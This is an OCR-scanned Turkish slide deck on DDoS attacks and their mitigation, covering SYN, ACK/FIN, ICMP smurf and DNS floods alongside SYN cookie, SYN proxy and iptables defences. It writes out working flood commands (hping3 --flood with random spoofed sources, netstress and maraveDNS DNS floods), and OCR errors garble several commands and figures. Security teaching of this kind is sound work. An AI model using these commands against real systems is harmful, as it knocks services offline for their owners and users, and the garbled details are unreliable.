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Ajanda

GO

DDoS saldirilarini anlamak icin gerekli temel bilgiler.
DDoS urunlerindeki sistematik hata

— “lIt’s not a bug, it’s a feature “ durumu!

Syn Flood DDoS saldirilari nasil gerceklestirilir ve
temel engelleme yontemleri

DNS flood saldirilari nasil gerceklestirilir ve temel
engelleme yontemleri

HTTP GET Flood saldirilari nasil gerceklestirilir

Ve temel engelleme yontemleri
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Herseyin Temeli TCP/IP

GO

* DDoS saldirilarini iyi anlayabilmek ve
vorumlayabilmek icin gerekli olan tek sey saglam
TCP/IP bilgisi.

— TCP/IP bilgisi saglam olan bir glivenlik yoneticisi ek
araclara ihtiyac duymadan Linux sistemleri kullanarak
DDoS saldirilari konusunda ciddi analizler yapabilir.

* TCP/IP bilgisi olmadan yapilandirma(6rnek)

e Saldirilarilarin 6ntne caching &Load balancer cihazi
koyarak engel olma

* Hangi portlara yonelik koruma?
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IP Spoofing

GO
* |P korumasiz, onaysiz bir protokoldur

* |stenilen IP adresi ile hedef sistemlere paket
gonderilebilir
— |P spoofing

* Daha ust katmandaki uygulamalar IP spoofing
engellemek icin ek 6nlemler almak zorundadir
— TCP icin random ISN numaralari vs

* Hangi uygulamarda yapilabilir

— OSl’'e gore 7. katmandaki protokollerde IP spoofing teoride
mumkianduir

— Pratikte imkansiza yakindir

Bilgi Giivenligi AKADEMISI | www.bga.com.tr DDoS Saldirilari, Korunma Yollar ve BotNet Sorunu Etkinligi



TCP ve UDP Protokollerinde IP Spoofing

GO

TCP UDP
* TCP’de sadece baglanti e MUmkundur
baslangi¢ paketleri spoof  Her tiir UDP paketi spoof
edilebilir. . )
. _ edilmis ip adreslerinden
* \Veri tasiyan TCP paketleri gonderilebilir.

spoof edilemez

— Veri tagima 6ncesi kurulmasi * DN5S ISte_kIerl Sah,te P .
gereken clii el sikisma asamasi adreslerinden gonderilebilir
vardir e UDP kullanan servisler (DNS

e HTTP, HTTPS, SMTP, POP3 gibi vs) ip spoofingi engellemek
uygulama katmani icin ek ydntemler
protokollerde ip spoofing gelistirmistir.

teoride mimkunddar!
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Initial Sequence Number (ISN)

GO

* 32-bitdir

* 3’lU el sikismada ilk SYN paketinde ve ikinci SYN
paketinde kullanihr

— Bu degerin tahmin edilebilir olmasi TCP hijacking
saldirilarina yol acabilir

 GUnUmuz isletim sistemlerinde bu deger tahmin
edilemeyecek™* sekilde Uretilir

* *Tahmin edilmesi gliclestirilmis random degerler.
 TCP’de IP spoofing yapilamamasinin sebebi
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Paket Boyutlari
GO

* DDoS saldirilarinda paket boyutlari cok 6nemlidir

e Saldirganin ne kadar paket génderebilecegi,
kurbanin ne kadar trafik kaldirabilecegi paket
boyutlariyla dogrudan orantilidir

* Genel gecer kural: paket boyutu kiictldikce
glvenlik sistemlerinin performansi diser!

* Ortalama
— Bir TCP paketi 60 Byte
— Bir UDP paketi 40 Byte
— Bir HTTP paketi 400 Byte
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100-1000 Mb ile neler yapilabilir?

GO
e Saldiri Tipine gore

— SYNFlood olursa

* [100 Mb 200.000 pps]
» [1Gb 2.000.000 pps]

— UDP flood olursa

* [100Mb 400.000pps]
* [1Gb 4.000.000 pps]

— GET Flood olursa

« [100Mb 32.000 pps]
* [1Gb 320.000 pps]

* 100Mb=100x1024Kb=100x1024x1024b=104857600bit
* 104857600bit/8=13107200byte/68=218.000 pps

TCP SYN paket boyutu
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DDoS Engelleme

DDoS Engelleme Urinleri

Firewall

IPS Uriinleri Uieiala @ Tek Isi DDoS

Olan Uriinler
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GUnUmuz “Enterprise Security” Urlnleri
GO

* Firewall/IPS sistemleri DDOS saldirilarina ne kadar
dayanikhdir?

— Gelebilecek itirazlar: Firewall/IPS sistemleri DDOS
engelleme amacli degildir(!)

— Cogu kurum/kurulus DDoS engelleme amacli
Firewall/IPS kullanmaktadir
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Fortinet Firewall Limitleri

e T E———

Technical Specificationm

HARDWARE . FortiGate-1000AFA2 riGate

SPECIFICATIONS ! - SHISE
10/100/1000 Interfaces (Copper} S | )
1Gb SFP Interfaces .. S | T
SFP Transceivers Prmnded B | | PR,
USB Ports... 1
AMC Expansmn Slots S | B SS

. ..2 {S)(}
jidth ........... Iz single width ..
2 double W|dth

20Mb hat=40.000 pps
(20x1024x1024/8/60)
50 saniyede 2.000.000 session

SYSTEM PERFORMANCE

Concurrent Sessions.........coevevnivnncncnennnn 1,100,000 onniniiinicnnns
New Sessions/Second .......ccceveeveeueenraenae 15,000 ceneneennnicieireeeenn J40,000. ..
Firewall Throughput (Gbps)....ccoveeevceeeeec 2 GOPS e cenereeneneefped = 37* GDPS..cnneeee
VPN Throughput (IPSec)........ccccccceeene..eeo.. 600 Mbps......................600 Mbps cemreneneee 12 = 15* Gbps 0 8 3 8* Gbps cemereenenecfpe 1 = 19% GBPS.cci
IPS Throughput .....o.oeeeeeeececceeeeee T GOPS .1 Ghps 2 Gbps ... ceeeeeenneane 3 GDPS ... S— | ths
Antivirus Throughput...........c.ccccneeeneeeeee. 200 Mbps......................200 Mbps 30[} Mbps SSE—— 1) |1 Mbps cereneeneneeeee 000 Mbps...

Unlimited Concurrent Users..................... YES... venvenenns YBS L0 ceennrens YES .. weneens YES L creeresenrnesnenens s YBS L.
Site-to-site IPSec VPN Tunnels ................ 10, 0[]0 f 5 []0[} cennenea 10, []0[} .-’ 5 0[}[] e 10, []IDO;f 5 0[]0 .10, [}00 ! 5 000 ceerennnenee e 10, 000 f 5 0[}[]
(System / VDOM)
Client-to-Site IPSec VPN Tunnels ............. 10,000 .......cccccoovieeeeneeee. 10,000 64,000 e B4,000 e 64,000
Number of Concurrent SSL Users ........... 1,000 ....ccoocverivnicvinnnnnes 10000 e 2,000 e 3,000 e 5,000 e
(Recommended)
Policies .. cennenvanesnnnennens 100,000 coviiicieiiiiiennen. 100,000, . 100,000 .. 100,000 100,000,
Virtual [}umalns {UDGMS) ceeenmremene VO NAL e TO T NA e 1O T 280 e 10 250 10 /250 e
(standard / with optional Ilcense] . J

$:2,000,000.......cimiiiciins
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Netscreen Firewall Limitleri

[l duniper |

METSCREEN-5200 METSCREEMN-5400

Specifications

Maximum Performance and Capacity'

screengsevergontgted screengsﬁz gcreengsﬁz

Firewall perfarmance (large packets)? 10/8 Gbps 30/24 Gbps

irewall performance (small packets) 4 Gbps 12 Gbps

irewall Packets Per Second (64 byte) 6 MPPS 18 M PPS )
AES256+5HA-T VPN performance? 5/4 Gbps 15/12 Gbps
3DES+SHA-1 VPN performance? 5/4 Gbps 15/12 Gbps
Maximum concurrent sessions’ 1,000,000 2,000,000%

ew sessions/second'® 26,500/22,000 26,500/22,00 D)
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Netscreen ISG Limitleri
—

ISG 2000

o Juniper

1563000

Maximum Performance and Capacity’

Screen0S® version tested Screen0s 6.2 Screen0s 6.2

Firewall performance (large packets) 2 Ghps 4 Gbps
Firewall performance (small packets) 1Gbps 2 Ghps
Firewall packets per second (64 byte) 1.5M PPS IMPPS
AESZ256+5SHA-1 VPN performance 1Gbps 2Gbps
3DES+5HA-1 VPN performance 1 Gbps 2Gbps
Maximum concurrent sessions? 500,000 1,000,000
Mew sessions/second 20,000 23,000
Maximum security policies 10,000 30,000
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Checkpoint Power-1 Limitleri

e T E———

Check Point Power-1 Appliances

Security for high-performance environments

Power-1 5075 Power-1 9075

Hardware Specifications

Hardware Specifications

Power-1 11000 Series
Appliance Power-1 5075 Power-1 9075
11065 11075 11085
Software RE5, R70 RE5, R70 R70 R70 R70
Edition
Operating Secure Secure Secure Secure Secure
System Platform Platform Platform Platform Platform
101001000
Ports 10/14 14/18 14/18 14/18 14/18
10Gh ports 2 optional 4 optional 4 optional | 4 optional | 4 optional
Firewall
1 9 Gbps 16 Ghps 15 Gbps | 20 Gbps | 25 Gbps
Throughput=
VPN
; 2.4 Ghps 3.7 Gbps 3.7 Gbps | 4 Gbps | 4.5 Gbps
Th =
ncurrent - s - - s
Gessions 1.2 Million 1.2 Million 1.2 Million | 1.2 Million | 1.2 Millien
.
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TippingPoint 10Gb IPS Limitleri

e T E———

data sheet TippingPoint_N-Hatform

Technical Specifications

TippingPint G0N TippingPoint 100N TippingPoin 2500N

Performance
Inspected Throughput ' T50 Meps 1.5 Gps
Metwerk Throughpet © 750 Mbps 15Gps
Typical Latency * = 80 micnoseconds = B0 microseconds
Concurment Metwork Sessions * 6,500,000 6,500,000
Security Contests ® 1,200,000 1,200,000
Connections Fer Second 115.000 115,000
Scalability
Interfaces 1&EE 1G&E 10 &E 1&E 10 GoE 1GE
Ehemnet Forts (20} 104100/ 1000 {20) 107100/ 1000 @) 10 GEXFP {20} 104100 1000 @10 BEXF (20) 10/100/ 1000
Fort QuartityType (10} Copper/(10) SFP {10} Coppexi(10) SFP (@) 10 GhEXFP {10} Copperi(10) 5P (2) 10 BEXP (10) Copperi(10) SFP
Mumber of Fort Segments 10 i0 1 1 1 1
Zero Fower HA Bdemal Bdamna Modular Edemal Modular Edema
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DDoS Urilinlerinde Coziil(e)meyen Problem
—

* Piyasadaki cogu DDoS engelleme sistemi rate
limiting/karantina mantigiyla calismaktadir.
— Bir ip adresi(ip blogu)nden belirli sayinin tstliinde
trafik/paket gelirse ip adresini kara listeye al
— Bazilari daha karmasik algoritmalar da kullanmaktadir

* Rate limiting islemi en kolay ve kesin ¢c6zim gibi
gorinmesine ragmen IP adreslerinin spoof edilebilir
olmasi sebebiyle tehlikelidir!

* Bu Urunlerin dayandigl temel nokta session bilgisi

tutmamaktir
— Session bilgisi demek maliyet demek

— Her bir session icin ~300 byte

DDoS Saldirlan, Korunma Yollan ve BotNet Sorunu Etkinligi
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Ornek-I

—
e X FirmasiY DDoS urunu kullanmaktadir.

e Y Urunu gelen trafik Gzerinde “6zel” bir algoritma
calistirarak belirli seviyenin tzerinde paket
gonderen IP adreslerini engellemektedir.

* A nickli saldirgan basit bir arac kullanarak root dns
sunucularin ip adreslerini spoof ederek X Firmasina
yogun paket gdndermektedir

e X firmasindaki Y sistemi Root DNS sunucularin IP
adresini engellemeye baslar...
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Ornek-I|

GO

e Saldirgan bununla da kalmayip bir dosyaya Turkiye
IP bloklarini yazarak rastgele bu ip adreslerinden
spoof edilmis paketler gondermektedir.

e X firmasini koruyan Y sistemi tim Turkiye IP
adreslerini engellemeye baslar...

* Netstress bu senaryolari gerceklestirebilmektedir.

Bilgi Giivenligi AKADEMISI | www.bga.com.tr DDoS Saldirilari, Korunma Yollar ve BotNet Sorunu Etkinligi



Turkiye’den Guncel Ornek
GO

e Guncel saldiri

* DNS Flood 195.17539.3
* Kaynak IP Adresleri A e

. 195.175.39.11
e Saldirgan gercek DNS sunucu ip | 1951753913

195.175.39.15

Adreslerini spoof ederek 195.175.39.17
gonderiyor paketleri oo e aa
* Nasil engellenecek? R
— IP engelleme? e

195.175.39.138

3 N
Rate limiting: 195.175.39.229
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Uygulama|lptables ile Rate Limiting

GO
e iptables -A INPUT -i ethO -p tcp --dport 22 -m state -
-state NEW -m recent --set --name SSH

* iptables -A INPUT -i ethO -p tcp --dport 22 -m state -
-state NEW -m recent --update --seconds 60 --
hitcount 8 --rttl --name SSH -j DROP

e 8 paketten sonra 60 saniye icerisinde o ip
adresinden paket kabul etmez!
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Iptables ile RatelLimiting

- T —————

* |ptables limit 6zelliginin test edilmesi

[rootEnetdosl /var/logl# telnet www.siberguvenlik.org 80
Trying 178.18.197.18...

Connected to www.siberguvenlik.org.

Escape character is “"~]1-7.

<center?>

<h3>

<a href="http://www.bga.com.tr">Bilgili Guwvenligi AKADEMISI< a>

</center?

Connection closed by foreign host.

[rootBPnetdosl svar/loglt

[rootEnetdosl /svar/logl# hping -5 www.siberguvenlik.org —p 80 —c 10

HPING www.siberguvenlik.org (em0 178_.18_.197.18): S set, 40 headers + 0 data bytes

len=46 1p=178.18.197_.18 ttl=5H4 DF 1d=0 sport=80 flags=5A seq=0 win=5840 rtt=1.8 ms
len=46 1p=178.18.197_.18 ttl=5H4 DF 1d=0 sport=80 flags=5A seq=1 win=5840 rtt=2.0 ms
len=46 1p=178.18.197.18 ttl=H4 DF id=0 sport=80 flags=5A seq=2 win=5840 rtt=2.0 ms
len=46 1p=178.18.197.18 ttl=b4 DF 1d=0 sport=80 flags=5A seq=3 win=5H840 rtt=1.7 ms
len=46 1p=178.18.19/.18 ttl=5H4 DF i1d=0 sport=80 flags=5A seqg=4 win=5840 rtt=1.8 ms
len=46 1p=178.18.19/.18 ttl=54 DF 1d=0 sport=80 flags=5A seq=5% win=5840 rtt=1.8 ms

——— www.siberguvenlik.org hping statistic ———

10 packets tramitted, b packets recelved, 40% packet loss
round-trip minfavg/max = 1.7/1.972.0 ms

[rootEBnetdosl /var/logl# telnet www.siberguvenlik.org 80
Trying 178.18.197.18...
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TCP Flood DDoS Saldirilari

e
* TCP Flood: Hedef sisteme cesitli TCP bayraklari set
edilmis paketler gondermek
* TCP Bayraklari
— FIN, ACK, PUSH, SYN, RST, URG ...

* Amac hedef sistemin kapasitesini zorlama
— Bant genisligi kapasitesi
— Paket isleme kapasitesi

e Sahte ip adreslerinden gerceklestirilebilir
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TCP Flood Cesitleri

T R R ———————— T ———_

TCP Flood
SYN Flood BACK Flood® FIN Flood




Syn Flood

GO
* Internet diinyasinda en sik gerceklestirilen DDoS
saldiri tipi

* Oldukca kolaydir

* Eger gerekli onlemler alinmamissa 2Mb hat ile
100Mb hatta sahip olan sistemler devre disi
birakilabilir

e Saldiri yapmasi kadar korunmasi da kolaydir

 Genellikle sahte IP adresleri kullanilarak
gerceklestirilir
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Neden Kaynaklanir?
GO

 Temel problem

— SYN paketini alan tarafta paketi gobnderen
onaylanmadan kaynak ayrilmasi
e SYN pakteini alan taraf backlog queue
oellekten yer ayirir...

* Paketi gdnderen IP adresinin gercek oldugu
oelirlenmeden sistemden kavnak ayirilmamali!

SYN,

SYNs, ACK, |

ACKq
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TCP SYN Paketi

Ortalama 60 byte

[root@mail ~]¥ hping -p 80 -5

HPING (DCeTr—99-99" /iy = 0" headers + 0 data bytes

-——— 99.99.99.1 hping statistic ———

1 packets tramitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

[root@mail ~]#

= maillifeoverip.net - SecureCRT

File Edit View Options Transfer Script Tools Help

HHPDUH R =8 FHEY P

mail Ifeoverp net |

[root@mail ~]# tcpdump -1 bcel -v —-s0 —tn host 99.99.99.1
tcpdump: listening on bcel, link-type EN1OMB (Ethernet) ; 6552 5-hytes
IP (tos Ox0, ttl 64, id 16922, offset 0, flags [none], /proto TCP (6), length 40)
91.93.119.80.2636 > 99.99.99.1.80: Flags [5], cksulpn Oxfeae (correct), seq 156218608, win 512, length 0

Gonderilen her SYN paketi icin hedef sistem ACK-SYN
paketi Uretecektir.
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Uygulama|Hping ile TCP Paketleri Olusturma

GO
* SYN bayrakli TCP paketi olusturma
— Hping =S —p 80 192.168.1.1
— 192.168.1.1 ip adresinin 80 portuna SYN bayrakli TCP paketi
gonderimi
* FIN bayrakli TCP paketi olusturma
— Hping —F —p 80 192.168.1.1
— 192.168.1.1 ip adresinin 80 portuna FINbayrakli TCP paketi
gonderimi
* ACK bayrakli TCP paketi olusturma
— Hping —A —p 80 192.168.1.1

— 192.168.1.1 ip adresinin 80 portuna ACK bayrakli TCP paketi
gonderimi
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SynFlood Ornegi

GO

 Amac:Hedef sisteme tamamlanmamis binlerce TCP
SYN paketi gédnderip servis verememesinin
saglanmasi

e Kullanilan arac: Hping, juno, netstress vs
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Syn Flood:Gercek IP Adresleri Kullanarak

T —————TTTE——

Bilgi Giivenlidi AKADEMISI | www.bga.com.tr DDoS Saldirlar, Korunma Yollarn ve BotNet Sorunu Etkinligi



Syn Flood:Sahte IP Adresleri Kullanarak
T —————TTTE——

Kaynak IP adresi secilen makine aciksa gelen
SYN+ACK paketine RST cevabi donecektir

e Ciddi saldirilarda kaynak ip adresleri canli olmayan
sistemler secilmeli!

root@seclabs: hping3 —--flood -p 80 1%2.168.1.]
HPING 192.168.1.1 G2
L ng in flood mode, no replies will be show

feth0 192.168.1.1): 5 =

——— 1592.168.1.]1 hping =statistic
45740 packet=s transmi rreﬂ, [ packets receiwved,
round-trip min/avg/ma 0

[ B — y [ 2
rootidzeclabs:~3F I
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Random Sahte IP Adresi Kullanarak Syn Flood

——rand-source
{eth0 ] 8 1) : 40 headers + 0 data bytes

hping in flood mode, no replies will be shown
~C

- 152.168.1.1 hping =statistic ——-

910 packets transmitted, 0 packets receiwved, 100% packet loss
round-trip minSavg/max = 0.0/0.0/0.0 m=
root@zeclabs:~# I

root@seclabs:~# tcpdump -i eth0 -n -c 10 not tcp port 22

tepdump: wverbose ocutput suppressed, use -v or —-vv for full protocol decode
li=tening on ethld, Limk=ty] OME (Ethernet), capture size

1541065602:1541065602 (0)

51467335447 :467335447(0)

o

[ TS T % T T T T 1 |

iy ]
I

148664490:148664450(0) win 5

n

[:2016110487(0) win 5
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SynFlood DDoS Saldirilari Nasil Anlasilir?

—
e Temel mantik

— Normalin tzerinden SYN paketi geliyorsa veya normalin
tzerinde SYN_RECV durumu goézukiyorsa SYN Flood
olma ihtimali vardir
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ot FE\WINDOWS\system32\cmd.exe

1922.168.1.1681 =445
192.168.1.161:445
122.168.1.1681 :-445
192.168.1.161:445
122.168.1.1681 :-445
192.168.1.161:445
122.168.1.1681 :-445
192.168.1.161:445
122.168.1.1681 :-445
192.168.1.161:445
122.168.1.1681 :-445
192.168.1.161:445
122.168.1.1681 :-445
192.168.1.161:445
122.168.1.1681 :-445
192.168.1.181:445
192.168.1.1681 445
192.168.1.181:445
192.168.1.1681 445
192.168.1.181:445
192.168.1.1681 445
192.168.1.181:445
192.168.1.1681 445
192.168.1.181:445
192.168.1.1681 445
192.168.1.181:445
192.168.1.1681 445
192.168.1.181:445
192.168.1.1681 445
192.168.1.181:445
192.168.1.1681 445
192.168.1.181:445
192.168.1.1681 445
192.168.1.181:445
192.168.1.1681 445
192.168.1.181:445
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158.218.161.251:385%
158.220.67.170:2393
158.222.141.162:2956
159.12.124 2@87:3281
152.13.1684.25%1:1278
159.22.8.37:2432
1592.32.33.158:2774
159.32.204.134:3847
152.43.1687.241:2364
159.67.51.219:2787
152.183.83.148:3243
159.187.35.159:1556
152.135.248.208: 3427
159.173.32.89:2616
159.228.183.249:2358
159.245.184.55:2981
161.3.158.125:3014
161.82.67.139:3349
161 .137.98.197:2977
161.184.182.207:276A
161 .220.243.213:2255
162.26.213.247:2917
162.62.223.243:2741
162.98.138.124:3193
162.154.243 254 3175
162.157.158.74:2718
162.178.6.148:2575
162.183.138.32:2928
163.94.158 .88:2848
163.185.78.1:2476
163.164.178.148:3169
163.191.64.134:2769
163.219.24.130:2716
163.247.158.32:3325
163.251.251.94:2823
164.13.12.56:20%6
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Netstat lle SynFlood Belirleme-Windows

SYN_RECEIVED
SYN_RECEIUED
SYN_RECEIVED
SYN_RECEIUED
SYN_RECEIVED
SYN_RECEIUED
SYN_RECEIVED
SYN_RECEIUED
SYN_RECEIVED
SYN_RECEIUED
SYN_RECEIVED
SYN_RECEIUED
SYN_RECEIVED
SYN_RECEIUED
SYN_RECEIVED
SYN_RECEIUED
SYN_RECEIUED
SYN_RECEIUED
SYN_RECEIUED
SYN_RECEIUED
SYN_RECEIUED
SYN_RECEIUED
SYN_RECEIUED
SYN_RECEIUED
SYN_RECEIUED
SYN_RECEIUED
SYN_RECEIUED
SYN_RECEIUED
SYN_RECEIUED
SYN_RECEIUED
SYN_RECEIUED
SYN_RECEIUED
SYN_RECEIUED
SYN_RECEIUED
SYN_RECEIUED
SYN_RECEIUED




Sahte IP Kullaniminin Dezavantaijlari
GO

* Synflood saldirisinda sahte IP adresleri kullanilirsa

— Her gonderilen SYN paketine karsilik hedef sistem sahte
IP adreslerine SYN ACK paketi donecektir.

— Bu durumda sahte IP adreslerinin gercek sahipleri sizden
ACK flood saldirisi geliyormus zannedebilir

— Saldirgan belirli bir firmanin IP Adresinden geliyormus
gibi SynFlood Saldirisi génderebilir

Bilgi Giivenligi AKADEMISI | www.bga.com.tr DDoS Saldirilari, Korunma Yollar ve BotNet Sorunu Etkinligi



SynFlood Saldirilarini Engelleme

GO

* Syn Flood Saldirisi gerceklestirme cok kolaydir

* Syn flood saldirilarini engellemek cok kolaydir

* Syn flood saldirilari icin tim dunya iki(+1) temel
cozuimu kullanir
— Syn cookie
— Syn proxy

* Bunun haricinde sik tercih edilmeyen iki yontem
daha vardir

— DFAS(Drop First Accept Second)*
— Anormallik tespiti
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SynCookie

GO
* Syncookie aktif edilmis bir sistemde gelen SYN
paketi icin sistemden bir kaynak ayrilmaz

* SYN paketine dénecek cevaptaki ISN numarasi 6zel

olarak hesaplanir
(kaynak.ip+kaynak.port+.hedef.ip+hedef.port+x
degeri) ve hedefe gonderilir

 Hedef son paket olan ACK’i gonderdiginde ISN
hesaplama islemi tekrarlanir ve eger ISN numarasi
uygunsa baglanti kurulur

— Degilse baglanti iptal edilir
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SynCookie-I|

Syn cookie yapan sistem
o ] e

el
SN - |
1. SBession lookup — Mo session match
2. 5YN Cookie triggered
3, Calculate 1SN
4, Send SYMN/ACK back to host
SYMNACK
Send AGK
ACK -
1. Session lookup — No session match
2. BY'S Coolkie validated
3. Restore M55
4. First packet passed-routing, policy
lookup, session setup
5. Send 5YN to the server
SYM -
1. Accepl connection
2. Send SYMNACK
(5) SYMACK
Send ACK to both ends
— e} Itk | .
-.—@ ACK (6) ACK -
Connected
() DatalACK -
T
]
- @ Data’ACK ‘3
=
=
1 [
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SynCookie Dezavantajlari
GO

* Syncookie’de o6zel hazirlanacak ISN’ler icin Uretilen
random degerler sistemde matematiksel islem
glicu gerektirdigi icin CPU harcar

* Eger saldirinin boyutu yuksekse CPU performans
problemlerinden dolayi sistem yine darbogaz yasar

 DDOS Engelleme urtnleri(bazi IPS’lerde de ) bu
darbogazi asmak icin sistemde Syncookie 6zelligi
farkli CPU tarafindan isletilir
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SynProxy Mantigi

e T E———
e Sadece oturum kurulmus TCP baglantilarini

sunucuya gecir!
SYN”30

SYN/ACK 230

Svn Proxv
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SynProxy Dezavantajlari
GO

* Synproxy’de proxylik yapan makine state bilgisi
tuttugundan yogun saldirilarda state tablosu
sisebilir

* Synproxy ya hep aciktir ya da kapal

— Belirli degerin tGzerinde SYN paketi gelirse aktif et 6zelligi
yoktur
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SYN Cookie Alt etme

GO

* Sunucu tarafinda kullanilan syncookie 6zelligi
istemci tarafinda da kullanilarak sunucudaki

e \J e

syncookie 0zelligi ise yaramaz hale getirilebilir.

* Boylece istemci

kendi tarafinda state tutmaz,

sunucu tarafinda da 3’lu el sikisma tamamlandigi

icin baglanti acl

* Netstress araci
saldirilari gerce

< kalir(uzun stire)
kullanarak syn cookie atlatma

lestirilebilir.
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ACK, FIN, PUSH Flood Saldirilari

GO
* SynFlood’a karsi 6nlem alinan sistemlerde denenir.

* Hedef sisteme ACK, FIN, PUSH bayrakh TCP
paketleri gondererek glvenlik cihazlarinin
Kapasitesiniz zorlama

* Diger saldiri tiplerine gore engellemesi oldukca
colaydir

. Etki diizeyi duistiktiir
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lcmp Flood(Smurf)

IP=1.2.3.4

E_-]
¢«

POAS OIS T0

200.20.20.2 ,+"200.20.20.1
t-] o

....
-
N

Kurban

200.20.20'255 .. .‘::::. ;“.' .‘ . - S l‘!J E

Broadcast TN
A 200.20.20.8

...200°20,20.3

Src.IP=1.2.3.4 200.20.20.4

Saldirgan
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Hping ile Icmp Flood Denemesi
e T E———

* hping3 --icmp-C8 -KO -a172.26.27.22
172.26.27.255 -d 1000
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Smurf Atagi Artik Calismaz. Neden ?

GO
 TUm router ve isletim sistemleri default olarak
broadcaste gelen ICMP paketlerine cevap vermez!

root@seclabs:~# sysctl

net.ipv4.icmp_echo_ignore_broadcasts
net.ipv4.icmp_echo_ignore_broadcasts =1
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DNS Servisine yonelik DDOS Saldirilari

GO
* DNS UDP uzerinden calisir= kandirilmaya musait
servis

* DNS = Internet’in en zayif halkasi

— E-posta hizmetleri

— Web sayfalarinin calismasi

— Internetim calismiyor sikayetinin bas kaynagi J
* DNS sunuculara yonelik DDOS saldirilari

— DNS yaziliminda cikan buglar

— ENDS kullanimi ile amplification saldirilari

— DNS sunucularin kapasitelerini zorlama
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DNS’e Yonelik DDoS Saldirilari

—
* Dns Flood Saldirilari

 Amplified DNS DoS Saldirilari
* DNS sunucu yazilimlarini hedef alan DoS Saldirilari
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DNS Nasil Calisir?

)

IEEE———) DNS
.y
; NS Sunucu
NS www.lifeoverip.net IP Adresi Nedir? >
UDP Port 53
P
ammmm—— DNS
; NS Sunucu
NS www.lifeoverip.net IP 91.93.119.80
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http://www.lifeoverip.net/
http://www.lifeoverip.net/

DNS Nasil Calisir? - Detay

Root Servers I

Step 2 Step 3
Ben bilmem.
.net'lerden sorumlu
lifeoverip.net'e nerden dns'e sor

ulasabilirim?

DNS Query (Recursive)

.net lerin NS'inden
sorumlu DNS

www.lifeoverip.net IP

lifeoverip.net'den sorumlu dns
ns1l.lifeoverip.net ona sor

S
1o
S
Kullanicinin DNS sunucus

www.lifeoverip.net IP Adresi Nedir?

Step 1 sten 8 www.lifeoverip.net = 110

step 7

www.lifeoverip.net . i ’
adresinin IP'si 2 edir? ) www.llfeoverlp.l}et 11_.22.33.44 ip
- adresindedir ns1l.lifeoverip.net

lifeoverip.net Ana Dns
sunucusu

Kullanic Bilgisayarni
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DnsFlood Saldirilari
—

* DNS sunucuya apoof edilmis random ip
adreslerinden yuzbinlerde sahte(gercekte olmayan)
domain isimleri icin istek gdnderme

* Her gelen istek icin DNS sunucunun root dnslere
gidip yorulmasi ve gercek isteklere cevap
verememesi saglanmaya calisilir
— DNS sunucunun kapasitesini zorlama
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DNS Flood Orneg;i

GO
e Sahte IP adreslerinden yapilabilir

— Veya 0Ozel bir IP adresinden geliyormus gibi gosterilebilir.

[rootEdepdep netstress—i.S.E]#(E?netstress -t random -d 91.93.119.87 -a dns g a n 2 -P %é)

netstress stats
packets sent: 1178271
seconds active: 18
average packets/second: 65459

netstress stats
packets sent: 1195960
seconds active: 18
average packets/second: bb442
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DNS Flood Uygulamasi

[root@depdep ~]# perl maraveDNSvZ2.pl

DNS Flooder - renaudb@radware.com
Usage : ./maraveDNS.pl -t <TARGET DNS> [options]

Options
--help, -h This help
-H Print detailed help
--spoof, -s spoof sources (default: no)
--sip, -S <spoofed_IP> Fixed spoofed address (default: no)
--target, -t <target_IP> Target of the attack
--type, -y <type> Type of requested record (default: A)
--interval, -1 <interval> Reporting interval in seconds (default: |5)
--test, -e <record> Test specific record for server availabiflity
--host, -o <hostlist> Hostnames to be used for fake queries, comma

--capture, -c <filename> Activate pcap formatted capture in the speci

--device, -d <interface> Interface to use for packet capture. To use
Available : ethO any q

—-—duration, -u <seconds> Attack duration in seconds, O=infinite. |(def

--replay, -r <seconds> Replay caqtures for specififed duration,| 0=i

o oma1n: +L|d0mé—_ifﬁl-'|r'nn'|nv eFilanama~ Nama and laratinn r?z :gp!l-:p'lay_ (default: tc
IP 6.6.6.6.domain > 8.8.8.8.domain: 53558+[|domain] prepiey
IP 6.6.6.6.domain > 8.8.8.8.domain: 23531+[|domain] 6.6.6
IP 6.6.6.6.domain > 8.8.8.8.domain: 18015+[|domain] R
IP 6.6.6.6.domain > 8.8.8.8.domain: 44615+ A? k.com. (23)
IF 6.6.6.6.domain > 8.8.8.8.domain: 6965+ A? kt.com. (24)
IF 6.6.6.6.domain > 8.8.8.8.domain: 114+ A? ktp.org. (25)
IF 6.6.6.6.domain > 8.8.8.8.domain: 31932+ A? ktpv.com. (26)
IF 6.6.6.6.domain > 8.8.8.8.domain: 54214+ A? ktpvn.com. (27)
IF 6.6.6.6.domain > 8.8.8.8.domain: 48878+ A? ktpvnu.org. (28)
IF 6.6.6.6.domain > 8.8.8.8.domain: 63159+ A? ktpvnux.com. (29)
IF 6.6.6.6.domain > 8.8.8.8.domain: 58730+ A? ktpvnuxl.com. (30)
IF 6.6.6.6.domain > 8.8.8.8.domain: 2647+ A? ktpvnuxlg.com. (31)
IF 6.6.6.6.domain > 8.8.8.8.domain: 44471+ A? ktpvnuxlqc.com. (32)
IF 6.6.6.6.domain > 8.8.8.8.domain: 59835+ A? ktpvnuxlqcj.org. (33)
IF 6.6.6.6.domain > 8.8.8.8.domain: 61875+ A? ktpvnuxlqcjq.org. (34)
IF 6.6.6.6.domain > 8.8.8.8.domain: 64448+ A? ktpvnuxlqcjgp.com. (35)
IF 6.6.6.6.domain > 8.8.8.8.domain: 17357+ A? ktpvnuxlqcjqpi.com. (36)
IF 6.6.6.6.domain > 8.8.8.8.domain: 62269+ A? ktpvnuxlqcjqpin.org. (37)
IF 6.6.6.6.domain > 8.8.8.8.domain: 41800+ A? ktpvnuxlqcjqpinp.org. (38)
IF 6.6.6.6.domain > 8.8.8.8.domain: 19685+ A? ktpvnuxlqcjqpinpo.org. (39)
IF 6.6.6.6.domain > 8.8.8.8.domain: 54275+ A? ktpvnuxlqcjqpinpop.org. (40)
IF 6.6.6.6.domain > 8.8.8.8.domain: 56777+ A? ktpvnuxlqcjqpinpopk.org. (41)
IF 6.6.6.6.domain > 8.8.8.8.domain: 6650+ A? ktpvnuxlqcjqpinpopkb.org. (42)
IF 6.6.6.6.gomain > 8.8.8.8.domain: 2484+ A? ktpvnuxlgcjqpinpopkbq.com. (43)
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Dns Flood Engelleme
GO

* |P basina yapilacak sorgu sayisini belirleme

* DNS sunuculari agin disinda glclu sistemlerde
tutma
— Kiralama

e Saldiri aninda gelen DNS isteklerini UDP’den TCP’e
cevirip SYN Cookie vs calistirma

* |lk istegi reddet ayni istek ikinci kere gelirse kabul
et!
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DNS Amplification Saldirisi

GO
 UDP Uzerinden tasinan dns paketleri 512 byten
blyuk olamaz

 EDNS(RFC 2671) dns sorgularinin cevaplari 512
